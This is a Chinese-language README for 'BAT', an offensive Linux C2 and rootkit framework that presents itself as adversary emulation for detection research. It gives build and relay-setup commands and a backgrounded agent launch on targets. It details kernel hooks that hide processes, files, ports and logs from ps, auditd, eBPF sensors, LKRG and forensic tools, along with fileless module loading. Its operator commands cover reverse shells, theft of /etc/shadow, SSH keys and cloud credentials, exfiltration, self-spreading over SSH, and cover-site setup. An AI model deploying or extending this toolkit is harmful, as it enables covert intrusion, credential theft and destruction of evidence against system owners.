BAT 是一个真实且不断演进的针对 Linux 和 Windows 的对手威胁模型。它不是 C2 框架,也不是 rootkit。它是一个完整的威胁模拟平台,将 C2 通信、内核级隐密 rootkit 模块、用户空间规避、权限提升、持久化、进程注入、凭据收集、数据外泄和横向移动集成到一个单一的、有凝聚力的对手模型中。设计目标是成为 2026 年最复杂、最真实的 Linux 威胁,独立于任何检测系统当前能捕获的内容。
它是一个研究配对中的对手方。Aura 框架进化以检测 Bat。Bat 进化以规避 Aura。对手永远不会被检测器所约束。
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. 配置```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
生成一个密钥:openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
二进制文件位于 `bin/`。
### 4. 启动中继```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
在目标上部署代理:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Agent 会在一个信标间隔(默认30秒)内以 <agentID>@<hostname> 的形式出现在 bat-server 中。
内核隐藏层(bat-stealth.ko,源代码在 kperf-qos/ 中)直接构建在 Singularity 之上,Singularity 是一个高级内核 Rootkit 研究框架。其中移植并适配了四个核心模块:
bpf_hook:拦截 bpf(2) 及所有 eBPF 通信原语。任何 eBPF 传感器都无法获得隐藏 PID 的遥测数据。适配项:ARCH_SYS("bpf") 替代了仅适用于 x86 的 __x64_sys_bpf;移除了适用于 ARM64 的 __ia32_sys_bpf;HIDDEN_PORT 被一个可通过 sysfs 配置的全局变量替代。
hiding_fs:完整的文件系统擦除:getdents64/getdents 过滤、stat/statx/newfstatat nlink 调整、openat/access/faccessat 对 /proc/<pid> 的阻塞、chdir 和 readlink 阻塞。从五个 Singularity 模块合并而成(hiding_directory、hiding_stat、open、hiding_chdir、hiding_readlink)。适配项: 宏替代了直接寄存器访问; 扩展用于运行时配置的 。
hide_module:从所有内核模块列表中移除 bat-stealth.ko。扩展项:Singularity 已保存 list.prev;此版本同时保存了 list.prev 和 list.next,并对两者进行了破坏(poison)以阻止任意方向的遍历。添加了 module_unhide() 用于可逆移除,这是 K-99 在 delete_module(2) 能够按名称定位模块之前所需的操作。
lkrg_bypass:抑制 LKRG 对隐藏进程的强制措施:钩住信号投递以阻止向隐藏任务发送 SIGKILL,钩住 vprintk_emit 以丢弃 LKRG 日志消息,在 agent 执行期间禁用 UMH 验证。直接移植,无架构更改。
以下模块是独立开发的:
become_root:信号 59 钩子,调用 commit_creds(prepare_kernel_cred(NULL)) 授予 uid=0(K-03)selfdefense:阻止 LiME 内存获取,隐藏 kallsyms 条目,禁止对 agent 符号的 kprobes,在任何枚举尝试时重新隐藏模块audit:抑制对隐藏 PID 的 auditd 事件sysrq_hook:拦截 SysRq-T,将隐藏进程排除在任务转储之外taskstats_hook:过滤 NETLINK taskstats 响应中隐藏 PID 的信息reset_tainted + clear_taint_dmesg:将 /proc/sys/kernel/tainted 置零,并过滤 dmesg 中包含模块加载证据的行hooks_write:拦截所有内核写入路径(write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 兼容),在日志条目写入 syslog 或 journald 之前丢弃包含 agent 字符串的日志pid_manager:fork 跟踪点,用于在子进程间维护隐藏 PID 集合整个堆栈使得 agent 及其所有工件对以下工具不可见:ps、top、ss、netstat、lsof、文件系统遍历隐藏路径、lsmod、sysfs、kallsyms、auditd、所有 eBPF 传感器、LKRG、LiME 和 SysRq 取证工具。
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| 组件 | 角色 |
|---|---|
| `bat-agent` | 代理。发送信标,执行 TTP。经 Garble 混淆。 |
| `bat-server` | 操作员控制台。交互式 CLI。管理所有代理。 |
| `netshell` | 投放二进制文件。看起来像系统工具;实际上是完整代理。 |
| `bat-rootkit.so` | LD_PRELOAD 用户态 rootkit。隐藏文件、PID、端口、环境变量。 |
| `bat-stealth.ko` | 内核隐写层(基于 Singularity)。 |
| `kcc-server` | 中继服务。按需为目标运行的内核编译 `bat-stealth.ko`。 |
| `relay/` | 中继基础设施:nginx、TLS、设置、同步、投放脚本。 |
---
## 已绕过的防御措施
| 类别 | 防御措施 | 绕过机制 |
|---|---|---|
| 进程监控 | `ps` / `top` / `/proc` 列表 | `hiding_procs.c`:`getdents64` 钩子在用户空间读取前从 procfs 中移除代理 PID 条目 |
| 进程监控 | `/proc/<pid>/status`、`/proc/<pid>/cmdline` | `hiding_procs.c`:`filldir` 钩子从所有 readdir 结果中过滤 PID 前缀 |
| 文件系统 | `ls` / `find` 针对代理文件和目录 | `hiding_fs.c`:对目标路径的 `getdents64`/`getdents` 钩子;调整 stat nlink 以匹配 |
| 文件系统 | `lsattr` / `chattr` 检测 | `hiding_fs.c`:对代理文件路径的 `ioctl` 拦截 |
| 文件系统 | `/proc/modules` / `lsmod` 列表 | `hiding_module.c`:从所有 sysfs 和 procfs 模块列表中移除 `bat-stealth.ko` 条目 |
| 网络 | `ss` / `netstat` 端口列表 | `hiding_net.c`:`tcp4_seq_show`/`tcp6_seq_show` 钩子从输出中剥离 C2 端口条目 |
| 网络 | `/proc/net/tcp`、`/proc/net/tcp6` | `hiding_net.c`:seq_file 读取拦截丢弃 C2 socket 行 |
| 日志 | `syslog` / `journald` 写入路径 | `hooks_write.c`:`write`/`splice`/`sendfile`/`tee` 拦截;匹配代理字符串的日志条目在内核中被丢弃 |
| 日志 | `io_uring` 异步写入路径 | `hooks_write.c`:拦截 `io_uring_enter`/`io_uring_enter2`;覆盖 ia32 兼容路径 |
| 内核安全 | `rkhunter` / `chkrootkit` | 模块从 `/proc/modules` 隐藏;代理文件从文件系统隐藏;已验证零告警 |
| 内核安全 | ClamAV | Garble `-literals -tiny` 混淆 + 无嵌入明文字符串;已验证零检测(数据库 2026-04-20) |
| EDR / eBPF | 读取 `/proc` 的 eBPF 传感器 | 隐藏钩子在 eBPF 环形缓冲区事件产生前在内核层面拦截 |
| 内核自省 | 针对代理符号的 `ftrace` / `kprobes` | `selfdefense` 模块阻止 kprobe 附加到代理函数地址 |
| 内核取证 | LiME 内存采集 | `selfdefense` 阻止 LiME 模块加载和原始内存设备访问 |
| 内核取证 | SysRq-T 任务转储 | `sysrq_hook` 将隐藏进程从 SysRq-T 写入的任务列表中排除 |
| 内核取证 | NETLINK taskstats | `taskstats_hook` 过滤 taskstats NETLINK 响应中的隐藏 PID |
| 内核完整性 | LKRG 强制执行 | `lkrg_bypass` 抑制 LKRG `SIGKILL` 投递并丢弃 LKRG 日志消息 |
| 审计子系统 | `auditd` 系统调用记录 | `audit` 模块在内核审计层抑制所有隐藏 PID 的审计事件 |
---
## 系统调用钩子
所有钩子由 `bat-stealth.ko` 在加载时通过 ftrace 安装。ia32 条目仅在 x86_64 上编译(`#ifdef ARCH_SYS_IA32`)。
| 系统调用/函数 | 模块 | 用途 |
|---|---|---|
| `getdents64` | `hiding_procs.c` | 从 `/proc` 目录列表中隐藏代理 PID |
| `getdents` | `hiding_procs.c` | 32 位兼容:隐藏代理 PID |
| `filldir`(readdir) | `hiding_procs.c` | 补充 proc 条目过滤器,用于传统 readdir 调用方 |
| `getdents64` | `hiding_fs.c` | 从目录列表中隐藏代理文件 |
| `getdents` | `hiding_fs.c` | 32 位兼容:隐藏代理文件 |
| `ia32_getdents64` | `hiding_fs.c` | x86 兼容系统调用 |
| `ia32_getdents` | `hiding_fs.c` | x86 兼容系统调用 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | 针对隐藏路径的 32 位 stat 拦截 |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | 32 位 open/access 拦截 |
| `ia32_readlink` | `hiding_fs.c` | 32 位 readlink 拦截 |
| `ia32_chdir` | `hiding_fs.c` | 32 位 chdir 拦截 |
| `ioctl` | `hiding_fs.c` | 拦截对代理路径的 `lsattr`/`chattr` ioctl |
| `tcp4_seq_show` | `hiding_net.c` | 从 `/proc/net/tcp` 隐藏 C2 端口条目 |
| `tcp6_seq_show` | `hiding_net.c` | 从 `/proc/net/tcp6` 隐藏 C2 端口条目 |
| `bpf` | `bpf_hook.c` | 在所有 eBPF 程序中将隐藏 PID 的遥测数据归零 |
| `write` | `hooks_write.c` | 在到达 syslog 前丢弃包含代理字符串的日志条目 |
| `splice` | `hooks_write.c` | 通过 splice 路径实现相同拦截 |
| `sendfile` | `hooks_write.c` | 通过 sendfile 路径实现相同拦截 |
| `tee` | `hooks_write.c` | 通过 tee 路径实现相同拦截 |
| `io_uring_enter` | `hooks_write.c` | io_uring 异步写入拦截 |
| `io_uring_enter2` | `hooks_write.c` | io_uring 异步写入拦截(v2 系统调用) |
| `sched_process_fork`(跟踪点) | `pid_manager.c` | 跨 `fork`/`clone` 继承隐藏状态 |
| `vprintk_emit` | `lkrg_bypass.c` | 丢弃 LKRG 内核日志消息 |
| `finit_module` / `init_module` | 代理(kcc 加载器) | 通过 `memfd_create` + 匿名 fd 进行无文件内核模块加载 |
---
## TTP 参考
| TTP | 名称 | 描述 |
|---|---|---|
| 1 | masquerade | 将进程 comm 重命名为 `kworker/0:1`(或自定义) |
| 2 | reverse_shell | 反向 TCP shell 连接到 relay:4445 |
| 3 | memory_rwx | 分配匿名 RWX 内存(检测探针) |
| 4 | shell_exec | 执行任意 shell 命令 |
| 5 | beacon | 强制立即额外 check-in |
| 6 | persist | 安装持久化(cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | 收集 `/etc/shadow`、bash 历史、环境变量中的秘密、AWS IMDS |
| 9 | exec_chain | 生成进程链(检测探针) |
| 10 | install_rootkit | 通过 `/etc/ld.so.preload` 部署 `bat-rootkit.so` |
| 11 | inject + exit | 将信标 + rawsock 线程注入活动进程,然后自退出 |
| 20 | network_recon | 对本地子网进行 ARP 表 + TCP :22 扫描 |
| 21 | ssh_harvest | 收集私钥、known_hosts、authorized_keys、配置 |
| 22 | lateral_move | 通过 SSH 将自身 SCP 到发现的主机,后台执行 |
| 23 | creddump_full | 扩展凭据收集 + 环境指纹 |
| 30 | exfil-file | 读取任意文件并通过信标通道传输 base64 块 |
| 31 | exfil-dir | 将目录打包成 tar+gzip 并通过信标通道外传 |
| 32 | exfil-auto | 监视配置的路径并在变化时自动外传 |
| 34 | netmap | 扫描 /16 CIDR 以发现活跃主机和开放端口 |
| 35 | autospread | 使用收集的密钥通过 SSH 横向移动到发现的主机;复制代理并在后台执行 |
| 36 | smbprobe | 横向移动候选的 SMB 端口探测(:445) |
| 99 | kill | 静默自终止 |
| 222 | destruct | 移除所有痕迹,抹除内存,退出 |
| 1003 | K-03(权限提升) | 内核信号 59 触发 `commit_creds` 到 uid=0 |
| 1099 | K-99(卸载) | 通过 sysfs + 原始 `delete_module(2)` 进行两阶段 `bat-stealth.ko` 卸载 |
控制台命令(在 `bat-server` 提示符下):
- `kill`:向所有代理发送 TTP 99
- `destruct`:向所有代理发送 TTP 222
- `destruct @<agentID>`:定向清除
---
### KCC:内核编译缓存
`bat-stealth.ko` 按需为目标运行的内核编译。代理在运行时自动化整个流程;每个目标无需预构建模块:
1. **检测内核**:代理读取 `/proc/version` 以获取精确的 `uname -r` 字符串。
2. **请求编译**:代理将内核字符串 POST 到 `kcc-server`(`:9444`),附带 HMAC 签名请求。
3. **kcc-server 编译**:服务器针对匹配的内核头文件构建 `bat-stealth.ko` 并按内核哈希缓存结果。
4. **接收模块字节**:编译好的 `.ko` 在响应体中返回。
5. **无文件加载**:代理创建匿名内存文件(`memfd_create`,x86_64 上系统调用 279 / ARM64 上 319),写入模块字节,然后使用空参数字符串调用 `finit_module`(系统调用 273 / 313)。
6. **注册**:模块在毫秒内注册所有钩子并将其自身从 sysfs/procfs 中隐藏。
任何时候都不会将 `.ko` 文件写入磁盘。模块在加载后立即从 `/proc/modules` 中消失。
**最低内核版本:** 6.x(K-00 探针;代理在旧内核上跳过隐写加载)。
**已测试:** 6.1.0(Debian 12 / Ubuntu LTS)、6.8.0(Ubuntu 22.04 GCP)。
---
## 构建配置
---```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
所有配置文件都需要 SECRET=。可通过 RELAY=<ip> 覆盖中继IP。
SHA-256(secret) 签名;服务端拒绝重放攻击。-literals 混淆加密。故意避免使用 -X ldflags(ldflag 值会以明文形式出现在二进制文件中)。bat-server 内嵌的 SSH 反向隧道出站。relay/static/ 是中继的公开展示界面。发布版附带一个空白占位符。在运行 sync.sh 前,用你的封面身份替换 index.html 和支持页面。投递脚本(static/i、static/api/setup、static/api/v1/index.json)使用 __CDN_DOMAIN__ 作为占位符;在 build.env 中设置 CDN_DOMAIN=,sync.sh 会自动替换它。在首次部署 nginx 之前,更新 relay/nginx/bat.conf 中的 server_name 为真实域名及 TLS 证书路径。
CDN 配置文件通过边缘代理层路由代理流量。代理连接到 CDN 域名(HTTPS),代理将流量通过 SSH 反向隧道转发到中继的本地监听器。从网络角度看,所有代理流量均来自 CDN 边缘 IP 范围,而非中继 VPS。
---
当目标从 CDN 端点获取代理二进制文件时,会立即向配置好的 Telegram 频道发送投递警报。通知内容包括:源 IP、时间戳、请求路径、检测到的架构(x86_64/arm64)、文件大小、User-Agent 字符串以及 CDN 边缘标识符。
delivery-alert.service 守护进程会监控 nginx 访问日志,并在任何对蜜罐下载路径的命中时触发。在中继引导阶段进行配置:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
凭据会写入中继上的 `/etc/bat/tg.env`,并通过 `sync.sh --tg` 传播到所有同步目标。该服务自动启动,并在中继重启后持续运行。
---
## 免责声明
本软件专为授权的安全研究、受控实验室环境中的对抗模拟以及检测与响应能力的开发而设计。它包含攻击性技术的功能实现,包括内核级 Rootkit、进程注入、凭据窃取和横向移动。在未获得系统所有者明确书面授权的情况下,在任何系统上部署本软件,在大多数司法管辖区均属违反相关计算机欺诈与滥用法行为的违法行为。
作者不对因未经授权、疏忽或恶意使用本软件而导致的任何损害、法律后果或伤害承担责任。使用本软件即表示您确认自己是合格的安全专业人员,且在合法、授权的范围内操作,并完全承担使用本软件的全部法律和道德责任。
未经事先书面同意,不得向任何第三方重新分发、发布或披露本软件。
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ATT&CK ID | 技术 | Bat 实现 |
|---|
| T1036.005 | 伪装:匹配合法名称 | TTP 1:prctl(PR_SET_NAME) 改为 kworker/0:1 |
| T1055 | 进程注入 | TTP 11:shellcode + rawsock 线程注入到运行中的进程 |
| T1205.001 | 流量信号(魔法包) | UDP/ICMP 触发将 agent 从休眠状态唤醒 |
| T1071.001 | Web 协议 C2 | 通过 :443 或 :9443 的 HTTPS 信标 |
| T1573.001 | 加密信道:对称 | 基于 HMAC-SHA256 的身份验证信标,运行于 TLS 之上 |
| T1090.004 | 代理:域名前端 | CDN 配置文件通过边缘代理层路由 agent 流量 |
| T1574.006 | 劫持执行:LD_PRELOAD | TTP 10:通过 /etc/ld.so.preload 的 bat-rootkit.so |
| T1014 | Rootkit | bat-stealth.ko:隐藏 PID、端口、文件、模块、自身 |
| T1562.001 | 削弱防御:禁用工具 | bpf_hook 使 eBPF 传感器失效;lkrg_bypass 禁用 LKRG |
| T1562.012 | 削弱防御:禁用 Linux 审计 | audit 模块抑制隐藏 PID 的 auditd 事件 |
| T1068 | 利用漏洞提升权限 | K-03:信号 59 触发 commit_creds 以授予 uid=0 |
| T1543.002 | 创建/修改系统进程:Systemd | TTP 6:systemd unit 持久化 |
| T1053.003 | 计划任务:Cron | TTP 6:crontab 持久化 |
| T1070.002 | 清除 Linux 日志 | clear_taint_dmesg 过滤 dmesg;reset_tainted 将 taint 标记置零;hooks_write 在内核中丢弃日志条目 |
| T1070.004 | 指示器移除:文件删除 | TTP 222 销毁:完全清除工件 |
| T1003 | 凭证转储 | TTP 7/23:/etc/shadow、shell 历史、环境变量秘密 |
| T1552.004 | 未保护凭证:私钥 | TTP 21:SSH 密钥、known_hosts、配置 |
| T1552.005 | 云实例元数据 | TTP 23:AWS IMDS 凭证收集 |
| T1018 | 远程系统发现 | TTP 20/34:ARP 枚举 + /16 CIDR 扫描 |
| T1046 | 网络服务扫描 | TTP 20/34:对发现的主机进行 TCP 端口扫描 |
| T1021.004 | 通过 SSH 横向移动 | TTP 22/35:将自身 SCP 到发现的主机,以分离方式执行 |
| T1078 | 有效账户 | TTP 22/35:横向移动使用收集到的 SSH 密钥 |
| T1048 | 通过替代协议外传 | TTP 30/31/32:通过信标通道外传文件和目录 |
| T1059.004 | Unix Shell 执行 | TTP 4:任意命令执行 |
| T1027 | 混淆文件或信息 | garble -literals -tiny -seed=random;XOR(0x5A) 配置编码 |
| T1620 | 反射式代码加载 | TTP 11:在目标进程地址空间中执行的 shellcode;bat-stealth.ko 通过 memfd_create 加载 |